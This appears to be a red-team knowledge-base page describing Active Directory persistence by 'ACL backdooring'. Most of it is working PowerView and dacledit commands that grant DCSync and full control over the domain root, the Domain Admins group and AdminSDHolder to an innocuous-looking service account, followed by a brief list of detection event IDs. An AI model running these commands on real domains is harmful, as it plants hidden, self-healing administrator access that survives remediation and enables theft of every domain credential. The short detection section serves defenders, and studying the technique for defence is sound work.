title: "Attack #65 โ ACL Backdooring (Persistence via DCSync ACE)" description: "An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSyncโฆ" category: active-directory subcategory: "Persistence" tags: ["active-directory", "adcs", "credential-access", "persistence"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/๐ค Attack #65 โ ACL Backdooring (Persistence via DCSync ACE).md"#
๐ค Attack #65 โ ACL Backdooring (Persistence via DCSync ACE)#
๐ How It Works#
An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync rights on the domain root, or add GenericAll on the DA group, or backdoor AdminSDHolder (#26). Even after the DA account is revoked, the backdoor ACE allows re-escalation.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| Domain Admin | To modify ACLs on domain objects |
๐ป Full Commands#
# โโ Grant DCSync to a low-priv user (persistence) โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity svc_monitoring -Rights DCSync -Verbose
# svc_monitoring now has permanent DCSync โ looks like a service account
# โโ Grant GenericAll on DA group โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
-PrincipalIdentity svc_monitoring -Rights All
# โโ BackdoorAdminSDHolder (Attack #26 โ self-healing) โโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
-PrincipalIdentity svc_monitoring -Rights All
# โโ Verify โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
$_.IdentityReference -match "svc_monitoring"
}
# โโ Linux โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
dacledit.py -action write -rights DCSync \
-principal svc_monitoring -target-dn "DC=corp,DC=local" \
corp.local/Administrator:'Password1' -dc-ip 10.10.10.10
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4662 | Security Log (DC) | DACL write on domain root |
| 5136 | Security Log (DC) | nTSecurityDescriptor modified |
๐ Attack Chain Context#
[ACL Backdooring] โโโ Persistent Privilege Re-Escalation via Hidden ACEs
โ
โโโโ ๐ DCSync ACE + AdminSDHolder = self-healing persistent access
โโโโ ๐ Survives DA account revocation โ the backdoor ACE remains
โโโโ ๐ Defeated by: regular ACL audits, baseline domain root DACL
โ Attack #65 โ ACL Backdooring complete.